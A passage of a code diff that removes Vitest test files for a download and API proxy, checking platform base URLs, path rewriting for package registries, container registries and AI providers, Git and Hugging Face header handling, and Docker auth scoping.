expect(response.headers.get('X-Upstream-Trace')).toBe('trace-123');
|
||||
expect(await response.text()).toBe(upstreamBody);
|
||||
});
|
||||
});
|
||||
@@ -1,31 +0,0 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
|
||||
import { PLATFORM_CATALOG } from '../../src/config/platform-catalog.js';
|
||||
import { PLATFORMS, SORTED_PLATFORMS, transformPath } from '../../src/config/platforms.js';
|
||||
import { getPlatformPathPrefix } from '../../src/routing/platform-index.js';
|
||||
import { transformPath as transformPlatformPath } from '../../src/routing/platform-transformers.js';
|
||||
|
||||
describe('Platform module boundaries', () => {
|
||||
it('keeps the compatibility export wired to the platform catalog', () => {
|
||||
expect(PLATFORMS).toBe(PLATFORM_CATALOG);
|
||||
});
|
||||
|
||||
it('sorts platform keys by the longest routable prefix first', () => {
|
||||
const prefixLengths = SORTED_PLATFORMS.map(
|
||||
platformKey => getPlatformPathPrefix(platformKey).length
|
||||
);
|
||||
|
||||
prefixLengths.forEach((length, index) => {
|
||||
if (index < prefixLengths.length - 1) {
|
||||
expect(length).toBeGreaterThanOrEqual(prefixLengths[index + 1]);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
it('routes legacy transform imports through the dedicated transformer module', () => {
|
||||
expect(transformPath('/crates/?q=tokio', 'crates')).toBe(
|
||||
transformPlatformPath('/crates/?q=tokio', 'crates')
|
||||
);
|
||||
expect(transformPath('/jenkins/test-path', 'jenkins')).toBe('/current/test-path');
|
||||
});
|
||||
});
|
||||
@@ -1,516 +0,0 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { PLATFORM_CATALOG as PLATFORMS } from '../../src/config/platform-catalog.js';
|
||||
import { transformPath } from '../../src/routing/platform-transformers.js';
|
||||
|
||||
describe('Platform Configuration', () => {
|
||||
describe('Platform Definitions', () => {
|
||||
it('should have all required platforms defined', () => {
|
||||
const requiredPlatforms = [
|
||||
'gh',
|
||||
'gist',
|
||||
'gl',
|
||||
'sf',
|
||||
'gitea',
|
||||
'codeberg',
|
||||
'hf',
|
||||
'civitai',
|
||||
'npm',
|
||||
'pypi',
|
||||
'conda',
|
||||
'flathub',
|
||||
'homebrew'
|
||||
];
|
||||
|
||||
requiredPlatforms.forEach(platform => {
|
||||
expect(PLATFORMS).toHaveProperty(platform);
|
||||
expect(PLATFORMS[platform]).toBeDefined();
|
||||
});
|
||||
});
|
||||
|
||||
it('should have valid base URLs for all platforms', () => {
|
||||
Object.values(PLATFORMS).forEach(baseUrl => {
|
||||
expect(baseUrl).toBeDefined();
|
||||
expect(baseUrl).toMatch(/^https?:\/\/.+/);
|
||||
});
|
||||
});
|
||||
|
||||
it('should have unified transform function', () => {
|
||||
expect(transformPath).toBeDefined();
|
||||
expect(typeof transformPath).toBe('function');
|
||||
});
|
||||
});
|
||||
|
||||
describe('Unified Transform Function', () => {
|
||||
it('should transform GitHub paths correctly', () => {
|
||||
expect(transformPath('/gh/microsoft/vscode/archive/main.zip', 'gh')).toBe(
|
||||
'/microsoft/vscode/archive/main.zip'
|
||||
);
|
||||
|
||||
expect(transformPath('/gh/user/repo.git', 'gh')).toBe('/user/repo.git');
|
||||
});
|
||||
|
||||
it('should transform GitHub Gist paths correctly', () => {
|
||||
expect(transformPath('/gist/username/gist-id/raw/file.txt', 'gist')).toBe(
|
||||
'/username/gist-id/raw/file.txt'
|
||||
);
|
||||
|
||||
expect(transformPath('/gist/username/gist-id.git', 'gist')).toBe('/username/gist-id.git');
|
||||
});
|
||||
|
||||
it('should transform GitLab paths correctly', () => {
|
||||
expect(transformPath('/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip', 'gl')).toBe(
|
||||
'/gitlab-org/gitlab/-/archive/master/gitlab-master.zip'
|
||||
);
|
||||
});
|
||||
|
||||
it('should transform SourceForge paths correctly', () => {
|
||||
expect(
|
||||
transformPath('/sf/projects/sevenzip/files/7-Zip/23.01/7z2301-x64.exe/download', 'sf')
|
||||
).toBe('/projects/sevenzip/files/7-Zip/23.01/7z2301-x64.exe/download');
|
||||
});
|
||||
|
||||
it('should transform Gitea paths correctly', () => {
|
||||
expect(transformPath('/gitea/gitea/gitea/archive/master.zip', 'gitea')).toBe(
|
||||
'/gitea/gitea/archive/master.zip'
|
||||
);
|
||||
});
|
||||
|
||||
it('should transform Codeberg paths correctly', () => {
|
||||
expect(transformPath('/codeberg/forgejo/forgejo/archive/forgejo.zip', 'codeberg')).toBe(
|
||||
'/forgejo/forgejo/archive/forgejo.zip'
|
||||
);
|
||||
});
|
||||
|
||||
it('should transform Hugging Face paths correctly', () => {
|
||||
expect(transformPath('/hf/microsoft/DialoGPT-medium/resolve/main/config.json', 'hf')).toBe(
|
||||
'/microsoft/DialoGPT-medium/resolve/main/config.json'
|
||||
);
|
||||
|
||||
expect(transformPath('/hf/datasets/squad/resolve/main/train.json', 'hf')).toBe(
|
||||
'/datasets/squad/resolve/main/train.json'
|
||||
);
|
||||
});
|
||||
|
||||
it('should transform Civitai paths correctly', () => {
|
||||
expect(transformPath('/civitai/api/v1/models', 'civitai')).toBe('/api/v1/models');
|
||||
|
||||
expect(transformPath('/civitai/api/v1/model-versions/1318', 'civitai')).toBe(
|
||||
'/api/v1/model-versions/1318'
|
||||
);
|
||||
|
||||
expect(transformPath('/civitai/api/download/models/1105', 'civitai')).toBe(
|
||||
'/api/download/models/1105'
|
||||
);
|
||||
});
|
||||
|
||||
it('should transform npm paths correctly', () => {
|
||||
expect(transformPath('/npm/react/-/react-18.2.0.tgz', 'npm')).toBe(
|
||||
'/react/-/react-18.2.0.tgz'
|
||||
);
|
||||
expect(transformPath('/npm/lodash', 'npm')).toBe('/lodash');
|
||||
});
|
||||
|
||||
it('should transform PyPI paths correctly', () => {
|
||||
expect(transformPath('/pypi/packages/source/r/requests/requests-2.31.0.tar.gz', 'pypi')).toBe(
|
||||
'/packages/source/r/requests/requests-2.31.0.tar.gz'
|
||||
);
|
||||
|
||||
expect(transformPath('/pypi/simple/requests/', 'pypi')).toBe('/simple/requests/');
|
||||
});
|
||||
|
||||
it('should transform PyPI files paths correctly', () => {
|
||||
expect(
|
||||
transformPath('/pypi/files/packages/source/r/requests/requests-2.31.0.tar.gz', 'pypi-files')
|
||||
).toBe('/packages/source/r/requests/requests-2.31.0.tar.gz');
|
||||
});
|
||||
|
||||
it('should transform conda default channel paths correctly', () => {
|
||||
expect(transformPath('/conda/pkgs/main/linux-64/numpy-1.24.3.conda', 'conda')).toBe(
|
||||
'/pkgs/main/linux-64/numpy-1.24.3.conda'
|
||||
);
|
||||
});
|
||||
|
||||
it('should transform conda community channel paths correctly', () => {
|
||||
expect(
|
||||
transformPath('/conda/community/conda-forge/linux-64/repodata.json', 'conda-community')
|
||||
).toBe('/conda-forge/linux-64/repodata.json');
|
||||
});
|
||||
|
||||
it('should transform Flathub paths correctly', () => {
|
||||
expect(transformPath('/flathub/repo/summary', 'flathub')).toBe('/repo/summary');
|
||||
expect(transformPath('/flathub/repo/flathub.flatpakrepo', 'flathub')).toBe(
|
||||
'/repo/flathub.flatpakrepo'
|
||||
);
|
||||
});
|
||||
|
||||
it('should transform Fedora mirror paths correctly', () => {
|
||||
expect(
|
||||
transformPath(
|
||||
'/fedora/pub/fedora/linux/releases/43/Everything/x86_64/os/repodata/repomd.xml',
|
||||
'fedora'
|
||||
)
|
||||
).toBe('/releases/43/Everything/x86_64/os/repodata/repomd.xml');
|
||||
|
||||
expect(
|
||||
transformPath('/fedora/releases/43/Everything/x86_64/os/repodata/repomd.xml', 'fedora')
|
||||
).toBe('/releases/43/Everything/x86_64/os/repodata/repomd.xml');
|
||||
});
|
||||
|
||||
it('should transform container registry paths correctly', () => {
|
||||
expect(
|
||||
transformPath('/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest', 'cr-ghcr')
|
||||
).toBe('/v2/nginxinc/nginx-unprivileged/manifests/latest');
|
||||
|
||||
expect(transformPath('/cr/gcr/v2/distroless/base/manifests/latest', 'cr-gcr')).toBe(
|
||||
'/v2/distroless/base/manifests/latest'
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Platform Base URLs', () => {
|
||||
it('should have correct GitHub base URL', () => {
|
||||
expect(PLATFORMS.gh).toBe('https://github.com');
|
||||
});
|
||||
|
||||
it('should have correct GitHub Gist base URL', () => {
|
||||
expect(PLATFORMS.gist).toBe('https://gist.github.com');
|
||||
});
|
||||
|
||||
it('should have correct GitLab base URL', () => {
|
||||
expect(PLATFORMS.gl).toBe('https://gitlab.com');
|
||||
});
|
||||
|
||||
it('should have correct SourceForge base URL', () => {
|
||||
expect(PLATFORMS.sf).toBe('https://sourceforge.net');
|
||||
});
|
||||
|
||||
it('should have correct Gitea base URL', () => {
|
||||
expect(PLATFORMS.gitea).toBe('https://gitea.com');
|
||||
});
|
||||
|
||||
it('should have correct Codeberg base URL', () => {
|
||||
expect(PLATFORMS.codeberg).toBe('https://codeberg.org');
|
||||
});
|
||||
|
||||
it('should have correct Hugging Face base URL', () => {
|
||||
expect(PLATFORMS.hf).toBe('https://huggingface.co');
|
||||
});
|
||||
|
||||
it('should have correct npm base URL', () => {
|
||||
expect(PLATFORMS.npm).toBe('https://registry.npmjs.org');
|
||||
});
|
||||
|
||||
it('should have correct PyPI base URL', () => {
|
||||
expect(PLATFORMS.pypi).toBe('https://pypi.org');
|
||||
});
|
||||
|
||||
it('should have correct PyPI files base URL', () => {
|
||||
expect(PLATFORMS['pypi-files']).toBe('https://files.pythonhosted.org');
|
||||
});
|
||||
|
||||
it('should have correct conda base URLs', () => {
|
||||
expect(PLATFORMS.conda).toBe('https://repo.anaconda.com');
|
||||
expect(PLATFORMS['conda-community']).toBe('https://conda.anaconda.org');
|
||||
});
|
||||
|
||||
it('should have correct Flathub base URL', () => {
|
||||
expect(PLATFORMS.flathub).toBe('https://dl.flathub.org');
|
||||
});
|
||||
|
||||
it('should use a Fedora mirror that avoids upstream bot challenges', () => {
|
||||
expect(PLATFORMS.fedora).toBe('https://mirrors.kernel.org/fedora');
|
||||
});
|
||||
|
||||
it('should have correct container registry base URLs', () => {
|
||||
expect(PLATFORMS['cr-ghcr']).toBe('https://ghcr.io');
|
||||
expect(PLATFORMS['cr-gcr']).toBe('https://gcr.io');
|
||||
expect(PLATFORMS['cr-mcr']).toBe('https://mcr.microsoft.com');
|
||||
});
|
||||
});
|
||||
|
||||
describe('Path Transformation Edge Cases', () => {
|
||||
it('should handle empty paths gracefully', () => {
|
||||
Object.keys(PLATFORMS).forEach(key => {
|
||||
expect(() => transformPath('', key)).not.toThrow();
|
||||
});
|
||||
});
|
||||
|
||||
it('should handle paths without platform prefix', () => {
|
||||
Object.keys(PLATFORMS).forEach(key => {
|
||||
const testPath = '/some/random/path';
|
||||
expect(() => transformPath(testPath, key)).not.toThrow();
|
||||
});
|
||||
});
|
||||
|
||||
it('should handle unknown platform keys', () => {
|
||||
const testPath = '/unknown/test/path';
|
||||
expect(transformPath(testPath, 'unknown')).toBe(testPath);
|
||||
});
|
||||
|
||||
it('should handle paths with query parameters', () => {
|
||||
expect(transformPath('/gh/user/repo/file.txt?ref=main', 'gh')).toBe(
|
||||
'/user/repo/file.txt?ref=main'
|
||||
);
|
||||
});
|
||||
|
||||
it('should handle paths with fragments', () => {
|
||||
expect(transformPath('/gh/user/repo/README.md#section', 'gh')).toBe(
|
||||
'/user/repo/README.md#section'
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe('URL Construction', () => {
|
||||
it('should construct valid URLs for all platforms', () => {
|
||||
Object.entries(PLATFORMS).forEach(([key, baseUrl]) => {
|
||||
const testPath = `/${key.replace('-', '/')}/test/path`;
|
||||
const transformedPath = transformPath(testPath, key);
|
||||
const fullUrl = baseUrl + transformedPath;
|
||||
|
||||
expect(() => new URL(fullUrl)).not.toThrow();
|
||||
});
|
||||
});
|
||||
|
||||
it('should handle container registry URL construction', () => {
|
||||
const testPath = '/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest';
|
||||
const transformedPath = transformPath(testPath, 'cr-ghcr');
|
||||
const fullUrl = PLATFORMS['cr-ghcr'] + transformedPath;
|
||||
|
||||
expect(() => new URL(fullUrl)).not.toThrow();
|
||||
expect(fullUrl).toBe('https://ghcr.io/v2/nginxinc/nginx-unprivileged/manifests/latest');
|
||||
});
|
||||
});
|
||||
|
||||
describe('Jenkins Plugin Support', () => {
|
||||
it('should have Jenkins platform defined', () => {
|
||||
expect(PLATFORMS).toHaveProperty('jenkins');
|
||||
expect(PLATFORMS.jenkins).toBe('https://updates.jenkins.io');
|
||||
});
|
||||
|
||||
it('should transform Jenkins paths correctly', () => {
|
||||
// Update center JSON - should be redirected to current
|
||||
expect(transformPath('/jenkins/update-center.json', 'jenkins')).toBe(
|
||||
'/current/update-center.json'
|
||||
);
|
||||
|
||||
expect(transformPath('/jenkins/update-center.actual.json', 'jenkins')).toBe(
|
||||
'/current/update-center.actual.json'
|
||||
);
|
||||
|
||||
// Plugin downloads - should preserve download paths
|
||||
expect(
|
||||
transformPath('/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi', 'jenkins')
|
||||
).toBe('/download/plugins/maven-plugin/3.27/maven-plugin.hpi');
|
||||
|
||||
// Experimental update center - should preserve experimental paths
|
||||
expect(transformPath('/jenkins/experimental/update-center.json', 'jenkins')).toBe(
|
||||
'/experimental/update-center.json'
|
||||
);
|
||||
|
||||
// Current paths - should preserve current paths
|
||||
expect(transformPath('/jenkins/current/update-center.json', 'jenkins')).toBe(
|
||||
'/current/update-center.json'
|
||||
);
|
||||
|
||||
// Other paths - should be prefixed with current
|
||||
expect(transformPath('/jenkins/test-path', 'jenkins')).toBe('/current/test-path');
|
||||
});
|
||||
|
||||
it('should construct valid URLs for Jenkins services', () => {
|
||||
const jenkinsUrls = [
|
||||
'/jenkins/update-center.json',
|
||||
'/jenkins/download/plugins/git/5.2.1/git.hpi',
|
||||
'/jenkins/experimental/update-center.json',
|
||||
'/jenkins/current/update-center.actual.json'
|
||||
];
|
||||
|
||||
jenkinsUrls.forEach(path => {
|
||||
const transformedPath = transformPath(path, 'jenkins');
|
||||
const fullUrl = PLATFORMS.jenkins + transformedPath;
|
||||
expect(() => new URL(fullUrl)).not.toThrow();
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('Container Registry Support', () => {
|
||||
it('should have all major container registries defined', () => {
|
||||
const containerRegistries = [
|
||||
'cr-quay',
|
||||
'cr-gcr',
|
||||
'cr-mcr',
|
||||
'cr-ecr',
|
||||
'cr-ghcr',
|
||||
'cr-gitlab',
|
||||
'cr-redhat',
|
||||
'cr-oracle',
|
||||
'cr-cloudsmith',
|
||||
'cr-digitalocean',
|
||||
'cr-vmware',
|
||||
'cr-k8s',
|
||||
'cr-heroku',
|
||||
'cr-suse',
|
||||
'cr-opensuse',
|
||||
'cr-gitpod'
|
||||
];
|
||||
|
||||
containerRegistries.forEach(registry => {
|
||||
expect(PLATFORMS).toHaveProperty(registry);
|
||||
expect(PLATFORMS[registry]).toBeDefined();
|
||||
expect(typeof PLATFORMS[registry]).toBe('string');
|
||||
});
|
||||
});
|
||||
|
||||
it('should use the correct Amazon ECR Public base URL', () => {
|
||||
expect(PLATFORMS['cr-ecr']).toBe('https://public.ecr.aws');
|
||||
});
|
||||
|
||||
it('should transform all container registry paths correctly', () => {
|
||||
const containerRegistries = [
|
||||
'cr-quay',
|
||||
'cr-gcr',
|
||||
'cr-mcr',
|
||||
'cr-ecr',
|
||||
'cr-ghcr',
|
||||
'cr-gitlab',
|
||||
'cr-redhat',
|
||||
'cr-oracle',
|
||||
'cr-cloudsmith',
|
||||
'cr-digitalocean',
|
||||
'cr-vmware',
|
||||
'cr-k8s',
|
||||
'cr-heroku',
|
||||
'cr-suse',
|
||||
'cr-opensuse',
|
||||
'cr-gitpod'
|
||||
];
|
||||
|
||||
containerRegistries.forEach(registry => {
|
||||
const prefix = registry.replace('cr-', 'cr/');
|
||||
const testPath = `/${prefix}/v2/test/image/manifests/latest`;
|
||||
const transformedPath = transformPath(testPath, registry);
|
||||
expect(transformedPath).toBe('/v2/test/image/manifests/latest');
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('AI Inference Providers Support', () => {
|
||||
it('should have all major AI inference providers defined', () => {
|
||||
const aiProviders = [
|
||||
'ip-openai',
|
||||
'ip-anthropic',
|
||||
'ip-gemini',
|
||||
'ip-vertexai',
|
||||
'ip-cohere',
|
||||
'ip-mistralai',
|
||||
'ip-xai',
|
||||
'ip-githubmodels',
|
||||
'ip-nvidiaapi',
|
||||
'ip-perplexity',
|
||||
'ip-braintrust',
|
||||
'ip-groq',
|
||||
'ip-cerebras',
|
||||
'ip-sambanova',
|
||||
'ip-huggingface',
|
||||
'ip-together',
|
||||
'ip-replicate',
|
||||
'ip-fireworks',
|
||||
'ip-nebius',
|
||||
'ip-jina',
|
||||
'ip-voyageai',
|
||||
'ip-falai',
|
||||
'ip-novita',
|
||||
'ip-burncloud',
|
||||
'ip-openrouter',
|
||||
'ip-poe',
|
||||
'ip-featherlessai',
|
||||
'ip-hyperbolic'
|
||||
];
|
||||
|
||||
aiProviders.forEach(provider => {
|
||||
expect(PLATFORMS).toHaveProperty(provider);
|
||||
expect(PLATFORMS[provider]).toBeDefined();
|
||||
expect(typeof PLATFORMS[provider]).toBe('string');
|
||||
expect(PLATFORMS[provider]).toMatch(/^https:\/\/.+/);
|
||||
});
|
||||
});
|
||||
|
||||
it('should transform AI inference provider paths correctly', () => {
|
||||
const testCases = [
|
||||
{
|
||||
provider: 'ip-openai',
|
||||
inputPath: '/ip/openai/v1/chat/completions',
|
||||
expectedPath: '/v1/chat/completions'
|
||||
},
|
||||
{
|
||||
provider: 'ip-anthropic',
|
||||
inputPath: '/ip/anthropic/v1/messages',
|
||||
expectedPath: '/v1/messages'
|
||||
},
|
||||
{
|
||||
provider: 'ip-gemini',
|
||||
inputPath: '/ip/gemini/v1beta/models/gemini-2.5-flash:generateContent',
|
||||
expectedPath: '/v1beta/models/gemini-2.5-flash:generateContent'
|
||||
},
|
||||
{
|
||||
provider: 'ip-cohere',
|
||||
inputPath: '/ip/cohere/v1/generate',
|
||||
expectedPath: '/v1/generate'
|
||||
},
|
||||
{
|
||||
provider: 'ip-huggingface',
|
||||
inputPath: '/ip/huggingface/models/meta-llama/Llama-2-7b-chat-hf',
|
||||
expectedPath: '/models/meta-llama/Llama-2-7b-chat-hf'
|
||||
},
|
||||
{
|
||||
provider: 'ip-together',
|
||||
inputPath: '/ip/together/v1/chat/completions',
|
||||
expectedPath: '/v1/chat/completions'
|
||||
},
|
||||
{
|
||||
provider: 'ip-replicate',
|
||||
inputPath: '/ip/replicate/v1/predictions',
|
||||
expectedPath: '/v1/predictions'
|
||||
},
|
||||
{
|
||||
provider: 'ip-groq',
|
||||
inputPath: '/ip/groq/openai/v1/chat/completions',
|
||||
expectedPath: '/openai/v1/chat/completions'
|
||||
}
|
||||
];
|
||||
|
||||
testCases.forEach(({ provider, inputPath, expectedPath }) => {
|
||||
const transformedPath = transformPath(inputPath, provider);
|
||||
expect(transformedPath).toBe(expectedPath);
|
||||
});
|
||||
});
|
||||
|
||||
it('should construct valid URLs for AI inference providers', () => {
|
||||
const aiProviders = [
|
||||
'ip-openrouter',
|
||||
'ip-openai',
|
||||
'ip-anthropic',
|
||||
'ip-gemini',
|
||||
'ip-cohere',
|
||||
'ip-huggingface',
|
||||
'ip-together',
|
||||
'ip-replicate',
|
||||
'ip-groq',
|
||||
'ip-fireworks',
|
||||
'ip-mistralai',
|
||||
'ip-perplexity'
|
||||
];
|
||||
|
||||
aiProviders.forEach(provider => {
|
||||
const testPath = `/ip/${provider.replace('ip-', '')}/v1/test`;
|
||||
const transformedPath = transformPath(testPath, provider);
|
||||
const baseUrl = PLATFORMS[provider];
|
||||
|
||||
// Skip dynamic URLs with placeholders
|
||||
if (!baseUrl.includes('{')) {
|
||||
const fullUrl = baseUrl + transformedPath;
|
||||
expect(() => new URL(fullUrl)).not.toThrow();
|
||||
}
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -1,136 +0,0 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
|
||||
import { configureAIHeaders } from '../../src/protocols/ai.js';
|
||||
import { configureGitHeaders, isGitLFSRequest, isGitRequest } from '../../src/protocols/git.js';
|
||||
import {
|
||||
configureHuggingFaceHeaders,
|
||||
isHuggingFaceAPIRequest
|
||||
} from '../../src/protocols/huggingface.js';
|
||||
|
||||
describe('Protocol helper coverage', () => {
|
||||
it('detects Git requests from service queries and content types', () => {
|
||||
const serviceRequest = new Request('https://example.com/repo.git?service=git-receive-pack');
|
||||
const contentTypeRequest = new Request('https://example.com/repo.git', {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/x-git-upload-pack-request' }
|
||||
});
|
||||
|
||||
expect(isGitRequest(serviceRequest, new URL(serviceRequest.url))).toBe(true);
|
||||
expect(isGitRequest(contentTypeRequest, new URL(contentTypeRequest.url))).toBe(true);
|
||||
});
|
||||
|
||||
it('detects Git LFS requests from object paths and headers', () => {
|
||||
const infoRequest = new Request('https://example.com/repo.git/info/lfs');
|
||||
const objectRequest = new Request(
|
||||
'https://example.com/repo.git/objects/0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef'
|
||||
);
|
||||
const headerRequest = new Request('https://example.com/repo.git/download', {
|
||||
headers: { Accept: 'application/vnd.git-lfs+json' }
|
||||
});
|
||||
|
||||
expect(isGitLFSRequest(infoRequest, new URL(infoRequest.url))).toBe(true);
|
||||
expect(isGitLFSRequest(objectRequest, new URL(objectRequest.url))).toBe(true);
|
||||
expect(isGitLFSRequest(headerRequest, new URL(headerRequest.url))).toBe(true);
|
||||
});
|
||||
|
||||
it('configures standard Git upload and receive pack headers', () => {
|
||||
const uploadHeaders = new Headers();
|
||||
const uploadRequest = new Request('https://example.com/repo.git/git-upload-pack', {
|
||||
method: 'POST'
|
||||
});
|
||||
configureGitHeaders(uploadHeaders, uploadRequest, new URL(uploadRequest.url), false);
|
||||
|
||||
const receiveHeaders = new Headers();
|
||||
const receiveRequest = new Request('https://example.com/repo.git/git-receive-pack', {
|
||||
method: 'POST'
|
||||
});
|
||||
configureGitHeaders(receiveHeaders, receiveRequest, new URL(receiveRequest.url), false);
|
||||
|
||||
expect(uploadHeaders.get('User-Agent')).toBe('git/2.34.1');
|
||||
expect(uploadHeaders.get('Content-Type')).toBe('application/x-git-upload-pack-request');
|
||||
expect(receiveHeaders.get('User-Agent')).toBe('git/2.34.1');
|
||||
expect(receiveHeaders.get('Content-Type')).toBe('application/x-git-receive-pack-request');
|
||||
});
|
||||
|
||||
it('preserves existing Git headers when already provided', () => {
|
||||
const headers = new Headers({
|
||||
'Content-Type': 'application/custom',
|
||||
'User-Agent': 'custom-git/9.9.9'
|
||||
});
|
||||
const request = new Request('https://example.com/repo.git/git-upload-pack', {
|
||||
method: 'POST'
|
||||
});
|
||||
|
||||
configureGitHeaders(headers, request, new URL(request.url), false);
|
||||
|
||||
expect(headers.get('User-Agent')).toBe('custom-git/9.9.9');
|
||||
expect(headers.get('Content-Type')).toBe('application/custom');
|
||||
});
|
||||
|
||||
it('configures Git LFS batch and object download headers', () => {
|
||||
const batchHeaders = new Headers();
|
||||
const batchRequest = new Request('https://example.com/repo.git/objects/batch', {
|
||||
method: 'POST'
|
||||
});
|
||||
configureGitHeaders(batchHeaders, batchRequest, new URL(batchRequest.url), true);
|
||||
|
||||
const objectHeaders = new Headers();
|
||||
const objectRequest = new Request(
|
||||
'https://example.com/repo.git/objects/0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef'
|
||||
);
|
||||
configureGitHeaders(objectHeaders, objectRequest, new URL(objectRequest.url), true);
|
||||
|
||||
expect(batchHeaders.get('User-Agent')).toContain('git-lfs/');
|
||||
expect(batchHeaders.get('Accept')).toBe('application/vnd.git-lfs+json');
|
||||
expect(batchHeaders.get('Content-Type')).toBe('application/vnd.git-lfs+json');
|
||||
expect(objectHeaders.get('Accept')).toBe('application/octet-stream');
|
||||
});
|
||||
|
||||
it('detects Hugging Face API and token passthrough endpoints', () => {
|
||||
const apiRequest = new Request('https://example.com/hf/api/models/demo');
|
||||
const tokenRequest = new Request('https://example.com/hf/token');
|
||||
const regularRequest = new Request(
|
||||
'https://example.com/hf/meta-llama/model/resolve/main/config.json'
|
||||
);
|
||||
|
||||
expect(isHuggingFaceAPIRequest(apiRequest, new URL(apiRequest.url))).toBe(true);
|
||||
expect(isHuggingFaceAPIRequest(tokenRequest, new URL(tokenRequest.url))).toBe(true);
|
||||
expect(isHuggingFaceAPIRequest(regularRequest, new URL(regularRequest.url))).toBe(false);
|
||||
});
|
||||
|
||||
it('configures Hugging Face headers without overwriting explicit content types', () => {
|
||||
const headers = new Headers();
|
||||
const request = new Request('https://example.com/hf/api/models/demo', {
|
||||
method: 'POST',
|
||||
headers: { Authorization: 'Bearer secret-token' }
|
||||
});
|
||||
|
||||
configureHuggingFaceHeaders(headers, request);
|
||||
|
||||
const preconfiguredHeaders = new Headers({ 'Content-Type': 'multipart/form-data' });
|
||||
configureHuggingFaceHeaders(preconfiguredHeaders, request);
|
||||
|
||||
expect(headers.get('Authorization')).toBe('Bearer secret-token');
|
||||
expect(headers.get('Content-Type')).toBe('application/json');
|
||||
expect(preconfiguredHeaders.get('Content-Type')).toBe('multipart/form-data');
|
||||
});
|
||||
|
||||
it('configures AI passthrough headers and preserves explicit values', () => {
|
||||
const headers = new Headers();
|
||||
const request = new Request('https://example.com/ip/openai/v1/chat/completions', {
|
||||
method: 'POST'
|
||||
});
|
||||
configureAIHeaders(headers, request);
|
||||
|
||||
const preconfiguredHeaders = new Headers({
|
||||
'Content-Type': 'application/x-ndjson',
|
||||
'User-Agent': 'custom-ai-proxy/2.0'
|
||||
});
|
||||
configureAIHeaders(preconfiguredHeaders, request);
|
||||
|
||||
expect(headers.get('Content-Type')).toBe('application/json');
|
||||
expect(headers.get('User-Agent')).toBe('Xget-AI-Proxy/1.0');
|
||||
expect(preconfiguredHeaders.get('Content-Type')).toBe('application/x-ndjson');
|
||||
expect(preconfiguredHeaders.get('User-Agent')).toBe('custom-ai-proxy/2.0');
|
||||
});
|
||||
});
|
||||
@@ -1,370 +0,0 @@
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest';
|
||||
import worker from '../../src/index.js';
|
||||
import { CONFIG } from '../../src/config/index.js';
|
||||
import { isAIInferenceRequest } from '../../src/protocols/ai.js';
|
||||
import {
|
||||
getScopeFromUrl,
|
||||
handleDockerAuth,
|
||||
readRegistryTokenResponse
|
||||
} from '../../src/protocols/docker.js';
|
||||
import { isDockerRequest } from '../../src/utils/validation.js';
|
||||
|
||||
/** @type {ExecutionContext} */
|
||||
const executionContext = {
|
||||
waitUntil() {},
|
||||
passThroughOnException() {}
|
||||
};
|
||||
|
||||
describe('Protocol Detection', () => {
|
||||
it('only treats /ip-prefixed paths as AI inference requests', () => {
|
||||
const request = new Request('https://example.com/gh/user/repo/v1/chat/completions', {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: '{}'
|
||||
});
|
||||
const url = new URL(request.url);
|
||||
|
||||
expect(isAIInferenceRequest(request, url)).toBe(false);
|
||||
});
|
||||
|
||||
it('does not treat nested /v2/ segments in regular paths as Docker requests', () => {
|
||||
const request = new Request(
|
||||
'https://example.com/gh/user/repo/releases/download/v2/file.tar.gz'
|
||||
);
|
||||
const url = new URL(request.url);
|
||||
|
||||
expect(isDockerRequest(request, url)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Docker Authentication', () => {
|
||||
afterEach(() => {
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
it('derives scoped pull access from /cr-prefixed registry requests', () => {
|
||||
const url = new URL('https://example.com/cr/docker/v2/nginx/manifests/latest');
|
||||
|
||||
expect(getScopeFromUrl(url, url.pathname, 'cr-docker')).toBe('repository:library/nginx:pull');
|
||||
});
|
||||
|
||||
it('normalizes Docker Hub official image scopes during auth proxying', async () => {
|
||||
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockImplementation(async input => {
|
||||
const url = String(input);
|
||||
|
||||
if (url === 'https://registry-1.docker.io/v2/') {
|
||||
return new Response('', {
|
||||
status: 401,
|
||||
headers: {
|
||||
'WWW-Authenticate':
|
||||
'Bearer realm="https://auth.docker.io/token",service="registry.docker.io"'
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
return new Response(JSON.stringify({ token: 'token' }), {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'application/json' }
|
||||
});
|
||||
});
|
||||
|
||||
const request = new Request(
|
||||
'https://example.com/cr/docker/v2/auth?scope=repository:cr/docker/nginx:pull&service=Xget'
|
||||
);
|
||||
const response = await handleDockerAuth(request, new URL(request.url), CONFIG);
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(String(fetchSpy.mock.calls[1][0])).toContain(
|
||||
'scope=repository%3Alibrary%2Fnginx%3Apull'
|
||||
);
|
||||
});
|
||||
|
||||
it('routes platform-prefixed auth endpoints without duplicating /v2', async () => {
|
||||
/** @type {string[]} */
|
||||
const upstreamCalls = [];
|
||||
vi.spyOn(globalThis, 'fetch').mockImplementation(async input => {
|
||||
upstreamCalls.push(String(input));
|
||||
|
||||
if (String(input) === 'https://ghcr.io/v2/') {
|
||||
return new Response('', {
|
||||
status: 401,
|
||||
headers: {
|
||||
'WWW-Authenticate': 'Bearer realm="https://ghcr.io/token",service="ghcr.io"'
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
return new Response(JSON.stringify({ token: 'token' }), {
|
||||
status: 200,
|
